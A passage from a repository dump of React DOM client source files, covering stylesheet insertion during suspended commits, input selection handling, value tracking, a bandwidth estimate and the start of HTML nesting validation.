{\n    if (state.stylesheets) {\n      // If we haven't actually inserted the stylesheets yet we need to do so now before starting the commit.\n      // The reason we do this after everything else has finished is because we want to have all the stylesheets\n      // load synchronously right before mutating. Ideally the new styles will cause a single recalc only on the\n      // new tree. When we filled up stylesheets we only inlcuded stylesheets with matching media attributes so we\n      // wait for them to load before actually continuing. We expect this to increase the count above zero\n      insertSuspendedStylesheets(state, state.stylesheets);\n    } else if (state.unsuspend) {\n      const unsuspend = state.unsuspend;\n      state.unsuspend = null;\n      unsuspend();\n    }\n  }\n}\n\nfunction onUnsuspend(this: SuspendedState) {\n  this.count--;\n  checkIfFullyUnsuspended(this);\n}\n\nfunction onUnsuspendImg(this: SuspendedState) {\n  this.imgCount--;\n  checkIfFullyUnsuspended(this);\n}\n\n// We use a value that is type distinct from precedence to track which one is last.\n// This ensures there is no collision with user defined precedences. Normally we would\n// just track this in module scope but since the precedences are tracked per HoistableRoot\n// we need to associate it to something other than a global scope hence why we try to\n// colocate it with the map of precedences in the first place\nconst LAST_PRECEDENCE = null;\n\n// This is typecast to non-null because it will always be set before read.\n// it is important that this not be used except when the stack guarantees it exists.\n// Currentlyt his is only during insertSuspendedStylesheet.\nlet precedencesByRoot: Map<\n  HoistableRoot,\n  Map<string | typeof LAST_PRECEDENCE, Instance>,\n> = (null: any);\n\nfunction insertSuspendedStylesheets(\n  state: SuspendedState,\n  resources: Map<StylesheetResource, HoistableRoot>,\n): void {\n  // We need to clear this out so we don't try to reinsert after the stylesheets have loaded\n  state.stylesheets = null;\n\n  if (state.unsuspend === null) {\n    // The suspended commit was cancelled. We don't need to insert any stylesheets.\n    return;\n  }\n\n  // Temporarily increment count. we don't want any synchronously loaded stylesheets to try to unsuspend\n  // before we finish inserting all stylesheets.\n  state.count++;\n\n  precedencesByRoot = new Map();\n  resources.forEach(insertStylesheetIntoRoot, state);\n  precedencesByRoot = (null: any);\n\n  // We can remove our temporary count and if we're still at zero we can unsuspend.\n  // If we are in the synchronous phase before deciding if the commit should suspend and this\n  // ends up hitting the unsuspend path it will just invoke the noop unsuspend.\n  onUnsuspend.call(state);\n}\n\nfunction insertStylesheetIntoRoot(\n  this: SuspendedState,\n  root: HoistableRoot,\n  resource: StylesheetResource,\n  map: Map<StylesheetResource, HoistableRoot>,\n) {\n  if (resource.state.loading & Inserted) {\n    // This resource was inserted by another root committing. we don't need to insert it again\n    return;\n  }\n\n  let last;\n  let precedences = precedencesByRoot.get(root);\n  if (!precedences) {\n    precedences = new Map();\n    precedencesByRoot.set(root, precedences);\n    const nodes = root.querySelectorAll(\n      'link[data-precedence],style[data-precedence]',\n    );\n    for (let i = 0; i < nodes.length; i++) {\n      const node = nodes[i];\n      if (\n        node.nodeName === 'LINK' ||\n        // We omit style tags with media=\"not all\" because they are not in the right position\n        // and will be hoisted by the Fizz runtime imminently.\n        node.getAttribute('media') !== 'not all'\n      ) {\n        precedences.set(\n          // $FlowFixMe[prop-missing]\n          node.dataset.precedence,\n          node,\n        );\n        last = node;\n      }\n    }\n    if (last) {\n      precedences.set(LAST_PRECEDENCE, last);\n    }\n  } else {\n    last = precedences.get(LAST_PRECEDENCE);\n  }\n\n  // We only call this after we have constructed an instance so we assume it here\n  const instance: HTMLLinkElement = (resource.instance: any);\n  // We will always have a precedence for stylesheet instances\n  const precedence: string = (instance.getAttribute('data-precedence'): any);\n\n  const prior = precedences.get(precedence) || last;\n  if (prior === last) {\n    precedences.set(LAST_PRECEDENCE, instance);\n  }\n  precedences.set(precedence, instance);\n\n  this.count++;\n  const onComplete = onUnsuspend.bind(this);\n  instance.addEventListener('load', onComplete);\n  instance.addEventListener('error', onComplete);\n\n  if (prior) {\n    (prior.parentNode: any).insertBefore(instance, prior.nextSibling);\n  } else {\n    const parent =\n      root.nodeType === DOCUMENT_NODE\n        ? ((((root: any): Document).head: any): Element)\n        : ((root: any): ShadowRoot);\n    parent.insertBefore(instance, parent.firstChild);\n  }\n  resource.state.loading |= Inserted;\n}\n\nexport const NotPendingTransition: TransitionStatus = NotPending;\nexport const HostTransitionContext: ReactContext<TransitionStatus> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  Provider: (null: any),\n  Consumer: (null: any),\n  _currentValue: NotPendingTransition,\n  _currentValue2: NotPendingTransition,\n  _threadCount: 0,\n};\n\nexport type FormInstance = HTMLFormElement;\nexport function resetFormInstance(form: FormInstance): void {\n  ReactBrowserEventEmitterSetEnabled(true);\n  form.reset();\n  ReactBrowserEventEmitterSetEnabled(false);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactInputSelection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport getActiveElement from './getActiveElement';\n\nimport {getOffsets, setOffsets} from './ReactDOMSelection';\nimport {ELEMENT_NODE, TEXT_NODE} from './HTMLNodeType';\n\nfunction isTextNode(node) {\n  return node && node.nodeType === TEXT_NODE;\n}\n\nfunction containsNode(outerNode, innerNode) {\n  if (!outerNode || !innerNode) {\n    return false;\n  } else if (outerNode === innerNode) {\n    return true;\n  } else if (isTextNode(outerNode)) {\n    return false;\n  } else if (isTextNode(innerNode)) {\n    return containsNode(outerNode, innerNode.parentNode);\n  } else if ('contains' in outerNode) {\n    return outerNode.contains(innerNode);\n  } else if (outerNode.compareDocumentPosition) {\n    return !!(outerNode.compareDocumentPosition(innerNode) & 16);\n  } else {\n    return false;\n  }\n}\n\nfunction isInDocument(node) {\n  return (\n    node &&\n    node.ownerDocument &&\n    containsNode(node.ownerDocument.documentElement, node)\n  );\n}\n\nfunction isSameOriginFrame(iframe) {\n  try {\n    // Accessing the contentDocument of a HTMLIframeElement can cause the browser\n    // to throw, e.g. if it has a cross-origin src attribute.\n    // Safari will show an error in the console when the access results in \"Blocked a frame with origin\". e.g:\n    // iframe.contentDocument.defaultView;\n    // A safety way is to access one of the cross origin properties: Window or Location\n    // Which might result in \"SecurityError\" DOM Exception and it is compatible to Safari.\n    // https://html.spec.whatwg.org/multipage/browsers.html#integration-with-idl\n\n    return typeof iframe.contentWindow.location.href === 'string';\n  } catch (err) {\n    return false;\n  }\n}\n\nfunction getActiveElementDeep(containerInfo) {\n  let win =\n    containerInfo != null &&\n    containerInfo.ownerDocument != null &&\n    containerInfo.ownerDocument.defaultView != null\n      ? containerInfo.ownerDocument.defaultView\n      : window;\n  let element = getActiveElement(win.document);\n  while (element instanceof win.HTMLIFrameElement) {\n    if (isSameOriginFrame(element)) {\n      win = element.contentWindow;\n    } else {\n      return element;\n    }\n    element = getActiveElement(win.document);\n  }\n  return element;\n}\n\n/**\n * @ReactInputSelection: React input selection module. Based on Selection.js,\n * but modified to be suitable for react and has a couple of bug fixes (doesn't\n * assume buttons have range selections allowed).\n * Input selection module for React.\n */\n\n/**\n * @hasSelectionCapabilities: we get the element types that support selection\n * from https://html.spec.whatwg.org/#do-not-apply, looking at `selectionStart`\n * and `selectionEnd` rows.\n */\nexport function hasSelectionCapabilities(elem) {\n  const nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();\n  return (\n    nodeName &&\n    ((nodeName === 'input' &&\n      (elem.type === 'text' ||\n        elem.type === 'search' ||\n        elem.type === 'tel' ||\n        elem.type === 'url' ||\n        elem.type === 'password')) ||\n      nodeName === 'textarea' ||\n      elem.contentEditable === 'true')\n  );\n}\n\nexport function getSelectionInformation(containerInfo) {\n  const focusedElem = getActiveElementDeep(containerInfo);\n  return {\n    focusedElem: focusedElem,\n    selectionRange: hasSelectionCapabilities(focusedElem)\n      ? getSelection(focusedElem)\n      : null,\n  };\n}\n\n/**\n * @restoreSelection: If any selection information was potentially lost,\n * restore it. This is useful when performing operations that could remove dom\n * nodes and place them back in, resulting in focus being lost.\n */\nexport function restoreSelection(priorSelectionInformation, containerInfo) {\n  const curFocusedElem = getActiveElementDeep(containerInfo);\n  const priorFocusedElem = priorSelectionInformation.focusedElem;\n  const priorSelectionRange = priorSelectionInformation.selectionRange;\n  if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {\n    if (\n      priorSelectionRange !== null &&\n      hasSelectionCapabilities(priorFocusedElem)\n    ) {\n      setSelection(priorFocusedElem, priorSelectionRange);\n    }\n\n    // Focusing a node can change the scroll position, which is undesirable\n    const ancestors = [];\n    let ancestor = priorFocusedElem;\n    while ((ancestor = ancestor.parentNode)) {\n      if (ancestor.nodeType === ELEMENT_NODE) {\n        ancestors.push({\n          element: ancestor,\n          left: ancestor.scrollLeft,\n          top: ancestor.scrollTop,\n        });\n      }\n    }\n\n    if (typeof priorFocusedElem.focus === 'function') {\n      priorFocusedElem.focus();\n    }\n\n    for (let i = 0; i < ancestors.length; i++) {\n      const info = ancestors[i];\n      info.element.scrollLeft = info.left;\n      info.element.scrollTop = info.top;\n    }\n  }\n}\n\n/**\n * @getSelection: Gets the selection bounds of a focused textarea, input or\n * contentEditable node.\n * -@input: Look up selection bounds of this input\n * -@return {start: selectionStart, end: selectionEnd}\n */\nexport function getSelection(input) {\n  let selection;\n\n  if ('selectionStart' in input) {\n    // Modern browser with input or textarea.\n    selection = {\n      start: input.selectionStart,\n      end: input.selectionEnd,\n    };\n  } else {\n    // Content editable or old IE textarea.\n    selection = getOffsets(input);\n  }\n\n  return selection || {start: 0, end: 0};\n}\n\n/**\n * @setSelection: Sets the selection bounds of a textarea or input and focuses\n * the input.\n * -@input     Set selection bounds of this input or textarea\n * -@offsets   Object of same form that is returned from get*\n */\nexport function setSelection(input, offsets) {\n  const start = offsets.start;\n  let end = offsets.end;\n  if (end === undefined) {\n    end = start;\n  }\n\n  if ('selectionStart' in input) {\n    input.selectionStart = start;\n    input.selectionEnd = Math.min(end, input.value.length);\n  } else {\n    setOffsets(input, offsets);\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ToStringValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {checkFormFieldValueStringCoercion} from 'shared/CheckStringCoercion';\n\nexport opaque type ToStringValue =\n  | boolean\n  | number\n  | bigint\n  | Object\n  | string\n  | null\n  | void;\n\n// Flow does not allow string concatenation of most non-string types. To work\n// around this limitation, we use an opaque type that can only be obtained by\n// passing the value through getToStringValue first.\nexport function toString(value: ToStringValue): string {\n  // The coercion safety check is performed in getToStringValue().\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  return '' + (value: any);\n}\n\nexport function getToStringValue(value: mixed): ToStringValue {\n  switch (typeof value) {\n    case 'bigint':\n    case 'boolean':\n    case 'number':\n    case 'string':\n    case 'undefined':\n      return value;\n    case 'object':\n      if (__DEV__) {\n        checkFormFieldValueStringCoercion(value);\n      }\n      return value;\n    default:\n      // function, symbol are assigned as empty strings\n      return '';\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/escapeSelectorAttributeValueInsideDoubleQuotes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// When passing user input into querySelector(All) the embedded string must not alter\n// the semantics of the query. This escape function is safe to use when we know the\n// provided value is going to be wrapped in double quotes as part of an attribute selector\n// Do not use it anywhere else\n// we escape double quotes and backslashes\nconst escapeSelectorAttributeValueInsideDoubleQuotesRegex = /[\\n\\\"\\\\]/g;\nexport default function escapeSelectorAttributeValueInsideDoubleQuotes(\n  value: string,\n): string {\n  return value.replace(\n    escapeSelectorAttributeValueInsideDoubleQuotesRegex,\n    ch => '\\\\' + ch.charCodeAt(0).toString(16) + ' ',\n  );\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/estimateBandwidth.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nfunction isLikelyStaticResource(initiatorType: string) {\n  switch (initiatorType) {\n    case 'css':\n    case 'script':\n    case 'font':\n    case 'img':\n    case 'image':\n    case 'input':\n    case 'link':\n      return true;\n    default:\n      return false;\n  }\n}\n\nexport default function estimateBandwidth(): number {\n  // Estimate the current bandwidth for downloading static resources given resources already\n  // loaded.\n  // $FlowFixMe[method-unbinding]\n  if (typeof performance.getEntriesByType === 'function') {\n    let count = 0;\n    let bits = 0;\n    const resourceEntries = performance.getEntriesByType('resource');\n    for (let i = 0; i < resourceEntries.length; i++) {\n      const entry = resourceEntries[i];\n      // $FlowFixMe[prop-missing]\n      const transferSize: number = entry.transferSize;\n      // $FlowFixMe[prop-missing]\n      const initiatorType: string = entry.initiatorType;\n      const duration = entry.duration;\n      if (\n        !transferSize ||\n        !duration ||\n        !isLikelyStaticResource(initiatorType)\n      ) {\n        // Skip cached, cross-orgin entries and resources likely to be dynamically generated.\n        continue;\n      }\n      // Find any overlapping entries that were transferring at the same time since the total\n      // bps at the time will include those bytes.\n      let overlappingBytes = 0;\n      // $FlowFixMe[prop-missing]\n      const parentEndTime: number = entry.responseEnd;\n      let j;\n      for (j = i + 1; j < resourceEntries.length; j++) {\n        const overlapEntry = resourceEntries[j];\n        const overlapStartTime = overlapEntry.startTime;\n        if (overlapStartTime > parentEndTime) {\n          break;\n        }\n        // $FlowFixMe[prop-missing]\n        const overlapTransferSize: number = overlapEntry.transferSize;\n        // $FlowFixMe[prop-missing]\n        const overlapInitiatorType: string = overlapEntry.initiatorType;\n        if (\n          !overlapTransferSize ||\n          !isLikelyStaticResource(overlapInitiatorType)\n        ) {\n          // Skip cached, cross-orgin entries and resources likely to be dynamically generated.\n          continue;\n        }\n        // $FlowFixMe[prop-missing]\n        const overlapEndTime: number = overlapEntry.responseEnd;\n        const overlapFactor =\n          overlapEndTime < parentEndTime\n            ? 1\n            : (parentEndTime - overlapStartTime) /\n              (overlapEndTime - overlapStartTime);\n        overlappingBytes += overlapTransferSize * overlapFactor;\n      }\n      // Skip past any entries we already considered overlapping. Otherwise we'd have to go\n      // back to consider previous entries when we then handled them.\n      i = j - 1;\n\n      const bps =\n        ((transferSize + overlappingBytes) * 8) / (entry.duration / 1000);\n      bits += bps;\n      count++;\n      if (count > 10) {\n        // We have enough to get an average.\n        break;\n      }\n    }\n    if (count > 0) {\n      return bits / count / 1e6;\n    }\n  }\n\n  // Fallback to the navigator.connection estimate if available\n  // $FlowFixMe[prop-missing]\n  if (navigator.connection) {\n    // $FlowFixMe\n    const downlink: ?number = navigator.connection.downlink;\n    if (typeof downlink === 'number') {\n      return downlink;\n    }\n  }\n\n  // Otherwise, use a default of 5mbps to compute heuristics.\n  // This can happen commonly in Safari if all static resources and images are loaded\n  // cross-orgin.\n  return 5;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/getActiveElement.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default function getActiveElement(doc: ?Document): ?Element {\n  doc = doc || (typeof document !== 'undefined' ? document : undefined);\n  if (typeof doc === 'undefined') {\n    return null;\n  }\n  try {\n    return doc.activeElement || doc.body;\n  } catch (e) {\n    return doc.body;\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/getNodeForCharacterOffset.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {TEXT_NODE} from './HTMLNodeType';\n\n/**\n * Given any node return the first leaf node without children.\n *\n * @param {DOMElement|DOMTextNode} node\n * @return {DOMElement|DOMTextNode}\n */\nfunction getLeafNode(node: ?(Node | Element)) {\n  while (node && node.firstChild) {\n    node = node.firstChild;\n  }\n  return node;\n}\n\n/**\n * Get the next sibling within a container. This will walk up the\n * DOM if a node's siblings have been exhausted.\n *\n * @param {DOMElement|DOMTextNode} node\n * @return {?DOMElement|DOMTextNode}\n */\nfunction getSiblingNode(node: ?(Node | Element)) {\n  while (node) {\n    if (node.nextSibling) {\n      return node.nextSibling;\n    }\n    node = node.parentNode;\n  }\n}\n\n/**\n * Get object describing the nodes which contain characters at offset.\n *\n * @param {DOMElement|DOMTextNode} root\n * @param {number} offset\n * @return {?object}\n */\nfunction getNodeForCharacterOffset(root: Element, offset: number): ?Object {\n  let node = getLeafNode(root);\n  let nodeStart = 0;\n  let nodeEnd = 0;\n\n  while (node) {\n    if (node.nodeType === TEXT_NODE) {\n      nodeEnd = nodeStart + node.textContent.length;\n\n      if (nodeStart <= offset && nodeEnd >= offset) {\n        return {\n          node: node,\n          offset: offset - nodeStart,\n        };\n      }\n\n      nodeStart = nodeEnd;\n    }\n\n    node = getLeafNode(getSiblingNode(node));\n  }\n}\n\nexport default getNodeForCharacterOffset;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/inputValueTracking.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {checkFormFieldValueStringCoercion} from 'shared/CheckStringCoercion';\n\ntype ValueTracker = {\n  getValue(): string,\n  setValue(value: string): void,\n  stopTracking(): void,\n};\ninterface ElementWithValueTracker extends HTMLInputElement {\n  _valueTracker?: ?ValueTracker;\n}\n\nfunction isCheckable(elem: HTMLInputElement) {\n  const type = elem.type;\n  const nodeName = elem.nodeName;\n  return (\n    nodeName &&\n    nodeName.toLowerCase() === 'input' &&\n    (type === 'checkbox' || type === 'radio')\n  );\n}\n\nfunction getTracker(node: ElementWithValueTracker) {\n  return node._valueTracker;\n}\n\nfunction detachTracker(node: ElementWithValueTracker) {\n  node._valueTracker = null;\n}\n\nfunction getValueFromNode(node: HTMLInputElement): string {\n  let value = '';\n  if (!node) {\n    return value;\n  }\n\n  if (isCheckable(node)) {\n    value = node.checked ? 'true' : 'false';\n  } else {\n    value = node.value;\n  }\n\n  return value;\n}\n\nfunction trackValueOnNode(\n  node: any,\n  valueField: 'checked' | 'value',\n  currentValue: string,\n): ?ValueTracker {\n  const descriptor = Object.getOwnPropertyDescriptor(\n    node.constructor.prototype,\n    valueField,\n  );\n\n  // if someone has already defined a value or Safari, then bail\n  // and don't track value will cause over reporting of changes,\n  // but it's better then a hard failure\n  // (needed for certain tests that spyOn input values and Safari)\n  if (\n    node.hasOwnProperty(valueField) ||\n    typeof descriptor === 'undefined' ||\n    typeof descriptor.get !== 'function' ||\n    typeof descriptor.set !== 'function'\n  ) {\n    return;\n  }\n  const {get, set} = descriptor;\n  Object.defineProperty(node, valueField, {\n    configurable: true,\n    // $FlowFixMe[missing-this-annot]\n    get: function () {\n      return get.call(this);\n    },\n    // $FlowFixMe[missing-local-annot]\n    // $FlowFixMe[missing-this-annot]\n    set: function (value) {\n      if (__DEV__) {\n        checkFormFieldValueStringCoercion(value);\n      }\n      currentValue = '' + value;\n      set.call(this, value);\n    },\n  });\n  // We could've passed this the first time\n  // but it triggers a bug in IE11 and Edge 14/15.\n  // Calling defineProperty() again should be equivalent.\n  // https://github.com/facebook/react/issues/11768\n  Object.defineProperty(node, valueField, {\n    enumerable: descriptor.enumerable,\n  });\n\n  const tracker = {\n    getValue() {\n      return currentValue;\n    },\n    setValue(value: string) {\n      if (__DEV__) {\n        checkFormFieldValueStringCoercion(value);\n      }\n      currentValue = '' + value;\n    },\n    stopTracking() {\n      detachTracker(node);\n      delete node[valueField];\n    },\n  };\n  return tracker;\n}\n\nexport function track(node: ElementWithValueTracker) {\n  if (getTracker(node)) {\n    return;\n  }\n\n  const valueField = isCheckable(node) ? 'checked' : 'value';\n  // This is read from the DOM so always safe to coerce. We really shouldn't\n  // be coercing to a string at all. It's just historical.\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  const initialValue = '' + (node[valueField]: any);\n  node._valueTracker = trackValueOnNode(node, valueField, initialValue);\n}\n\nexport function trackHydrated(\n  node: ElementWithValueTracker,\n  initialValue: string,\n  initialChecked: boolean,\n): boolean {\n  // For hydration, the initial value is not the current value but the value\n  // that we last observed which is what the initial server render was.\n  if (getTracker(node)) {\n    return false;\n  }\n\n  let valueField: 'checked' | 'value';\n  let expectedValue;\n  if (isCheckable(node)) {\n    valueField = 'checked';\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    expectedValue = '' + (initialChecked: any);\n  } else {\n    valueField = 'value';\n    expectedValue = initialValue;\n  }\n  const currentValue =\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    '' +\n    (// $FlowFixMe[prop-missing]\n    node[valueField]: any);\n  node._valueTracker = trackValueOnNode(node, valueField, expectedValue);\n  return currentValue !== expectedValue;\n}\n\nexport function updateValueIfChanged(node: ElementWithValueTracker): boolean {\n  if (!node) {\n    return false;\n  }\n\n  const tracker = getTracker(node);\n  // if there is no tracker at this point it's unlikely\n  // that trying again will succeed\n  if (!tracker) {\n    return true;\n  }\n\n  const lastValue = tracker.getValue();\n  const nextValue = getValueFromNode(node);\n  if (nextValue !== lastValue) {\n    tracker.setValue(nextValue);\n    return true;\n  }\n  return false;\n}\n\nexport function stopTracking(node: ElementWithValueTracker) {\n  const tracker = getTracker(node);\n  if (tracker) {\n    tracker.stopTracking();\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/setTextContent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {TEXT_NODE} from './HTMLNodeType';\n\n/**\n * Set the textContent property of a node. For text updates, it's faster\n * to set the `nodeValue` of the Text node directly instead of using\n * `.textContent` which will remove the existing node and create a new one.\n *\n * @param {DOMElement} node\n * @param {string} text\n * @internal\n */\nfunction setTextContent(node: Element, text: string): void {\n  if (text) {\n    const firstChild = node.firstChild;\n\n    if (\n      firstChild &&\n      firstChild === node.lastChild &&\n      firstChild.nodeType === TEXT_NODE\n    ) {\n      firstChild.nodeValue = text;\n      return;\n    }\n  }\n  node.textContent = text;\n}\n\nexport default setTextContent;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/validateDOMNesting.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {HydrationDiffNode} from 'react-reconciler/src/ReactFiberHydrationDiffs';\n\nimport {\n  current,\n  runWithFiberInDEV,\n} from 'react-reconciler/src/ReactCurrentFiber';\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n} from 'react-reconciler/src/ReactWorkTags';\n\nimport {describeDiff} from 'react-reconciler/src/ReactFiberHydrationDiffs';\n\nfunction describeAncestors(\n  ancestor: Fiber,\n  child: Fiber,\n  props: null | {children: null},\n): string {\n  let fiber: null | Fiber = child;\n  let node: null | HydrationDiffNode = null;\n  let distanceFromLeaf = 0;\n  while (fiber) {\n    if (fiber === ancestor) {\n      distanceFromLeaf = 0;\n    }\n    node = {\n      fiber: fiber,\n      children: node !== null ? [node] : [],\n      serverProps:\n        fiber === child ? props : fiber === ancestor ? null : undefined,\n      serverTail: [],\n      distanceFromLeaf: distanceFromLeaf,\n    };\n    distanceFromLeaf++;\n    fiber = fiber.return;\n  }\n  if (node !== null) {\n    // Describe the node using the hydration diff logic.\n    // Replace + with - to mark ancestor and child. It's kind of arbitrary.\n    return describeDiff(node).replaceAll(/^[+-]/gm, '>');\n  }\n  return '';\n}\n\ntype Info = {tag: string};\nexport type AncestorInfoDev = {\n  current: ?Info,\n\n  formTag: ?Info,\n  aTagInScope: ?Info,\n  buttonTagInScope: ?Info,\n  nobrTagInScope: ?Info,\n  pTagInButtonScope: ?Info,\n\n  listItemTagAutoclosing: ?Info,\n  dlItemTagAutoclosing: ?Info,\n\n  // <head> or <body>\n  containerTagInScope: ?Info,\n  implicitRootScope: boolean,\n};\n\n// This validation code was written based on the HTML5 parsing spec:\n// https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope\n//\n// Note: this does not catch all invalid nesting, nor does it try to (as it's\n// not clear what practical benefit doing so provides); instead, we warn only\n// for cases where the parser will give a parse tree differing from what React\n// intended. For example, <b><div></div></b> is invalid but we don't warn\n// because it still parses correctly; we do warn for other cases like nested\n// <p> tags where the beginning of the second element implicitly closes the\n// first, causing a confusing mess.\n\n// https://html.spec.whatwg.org/multipage/syntax.html#special\nconst specialTags = [\n  'address',\n  'applet',\n  'area',\n  'article',\n  'aside',\n  'base',\n  'basefont',\n  'bgsound',\n  'blockquote',\n  'body',\n  'br',\n  'button',\n  'caption',\n  'center',\n  'col',\n  'colgroup',\n  'dd',\n  'details',\n  'dir',\n  'div',\n  'dl',\n  'dt',\n  'embed',\n  'fieldset',\n  'figcaption',\n  'figure',\n  'footer',\n  'form',\n  'frame',\n  'frameset',\n  'h1',\n  'h2',\n  'h3',\n  'h4',\n  'h5',\n  'h6',\n  'head',\n  'header',\n  'hgroup',\n  'hr',\n  'html',\n  'iframe',\n  'img',\n  'input',\n  'isindex',\n  'li',\n  'link',\n  'listing',\n  'main',\n  'marquee',\n  'menu',\n  'menuitem',\n  'meta',\n  'nav',\n  'noembed',\n  'noframes',\n  'noscript',\n  'object',\n  'ol',\n  'p',\n  'param',\n  'plaintext',\n  'pre',\n  'script',\n  'section',\n  'select',\n  'source',\n  'style',\n  'summary',\n  'table',\n  'tbody',\n  'td',\n  'template',\n  'textarea',\n  'tfoot',\n  'th',\n  'thead',\n  'title',\n  'tr',\n  'track',\n  'ul',\n  'wbr',\n  'xmp',\n];\n\n// https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope\nconst inScopeTags = [\n  'applet',\n  'caption',\n  'html',\n  'table',\n  'td',\n  'th',\n  'marquee',\n  'object',\n  'template',\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#html-integration-point\n  // TODO: Distinguish by namespace here -- for <title>, including it here\n  // errs on the side of fewer warnings\n  'foreignObject',\n  'desc',\n  'title',\n];\n\n// https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-button-scope\nconst buttonScopeTags = __DEV__ ? inScopeTags.concat(['button']) : [];\n\n// https://html.spec.whatwg.org/multipage/syntax.html#generate-implied-end-tags\nconst impliedEndTags = [\n  'dd',\n  'dt',\n  'li',\n  'option',\n  'optgroup',\n  'p',\n  'rp',\n  'rt',\n];\n\nconst emptyAncestorInfoDev: AncestorInfoDev = {\n  current: null,\n\n  formTag: null,\n  aTagInScope: null,\n  buttonTagInScope: null,\n  nobrTagInScope: null,\n  pTagInButtonScope: null,\n\n  listItemTagAutoclosing: null,\n  dlItemTagAutoclosing: null,\n\n  containerTagInScope: null,\n  implicitRootScope: false,\n};\n\nfunction updatedAncestorInfoDev(\n  oldInfo: null | AncestorInfoDev,\n  tag: string,\n): AncestorInfoDev {\n  if (__DEV__) {\n    const ancestorInfo = {...(oldInfo || emptyAncestorInfoDev)};\n    const info = {tag};\n\n    if (inScopeTags.indexOf(tag) !== -1) {\n      ancestorInfo.aTagInScope = null;\n      ancestorInfo.buttonTagInScope = null;\n      ancestorInfo.nobrTagInScope = null;\n    }\n    if (buttonScopeTags.indexOf(tag) !== -1) {\n      ancestorInfo.pTagInButtonScope = null;\n    }\n\n    if (\n      specialTags.indexOf(tag) !== -1 &&\n      tag !== 'address' &&\n      tag !== 'div' &&\n      tag !== 'p'\n    ) {\n      // See rules for 'li', 'dd', 'dt' start tags in\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody\n      ancestorInfo.listItemTagAutoclosing = null;\n      ancestorInfo.dlItemTagAutoclosing = null;\n    }\n\n    ancestorInfo.current = info;\n\n    if (tag === 'form') {\n      ancestorInfo.formTag = info;\n    }\n    if (tag === 'a') {\n      ancestorInfo.aTagInScope = info;\n    }\n    if (tag === 'button') {\n      ancestorInfo.buttonTagInScope = info;\n    }\n    if (tag === 'nobr') {\n      ancestorInfo.nobrTagInScope = info;\n    }\n    if (tag === 'p') {\n      ancestorInfo.pTagInButtonScope = info;\n    }\n    if (tag === 'li') {\n      ancestorInfo.listItemTagAutoclosing = info;\n    }\n    if (tag === 'dd' || tag === 'dt') {\n      ancestorInfo.dlItemTagAutoclosing = info;\n    }\n    if (tag === '#document' || tag === 'html') {\n      ancestorInfo.containerTagInScope = null;\n    } else if (!ancestorInfo.containerTagInScope) {\n      ancestorInfo.containerTagInScope = info;\n    }\n\n    if (\n      oldInfo === null &&\n      (tag === '#document' || tag === 'html' || tag === 'body')\n    ) {\n      // While <head> is also a singleton we don't want to support semantics where\n      // you can escape the head by rendering a body singleton so we treat it like a normal scope\n      ancestorInfo.implicitRootScope = true;\n    } else if (ancestorInfo.implicitRootScope === true) {\n      ancestorInfo.implicitRootScope = false;\n    }\n\n    return ancestorInfo;\n  } else {\n    return (null: any);\n  }\n}\n\n/**\n * Returns whether\n */\nfunction isTagValidWithParent(\n  tag: string,\n  parentTag: ?string,\n  implicitRootScope: boolean,\n): boolean {\n  // First, let's check if we're in an unusual parsing mode...\n  switch (parentTag) {\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inselect\n    case 'select':\n      return (\n        tag === 'hr' ||\n        tag === 'option' ||\n        tag === 'optgroup' ||\n        tag === 'script' ||\n        tag === 'template' ||\n        tag === '#text'\n      );\n    case 'optgroup':\n      return tag === 'option' || tag === '#text';\n    // Strictly speaking, seeing an <option> doesn't 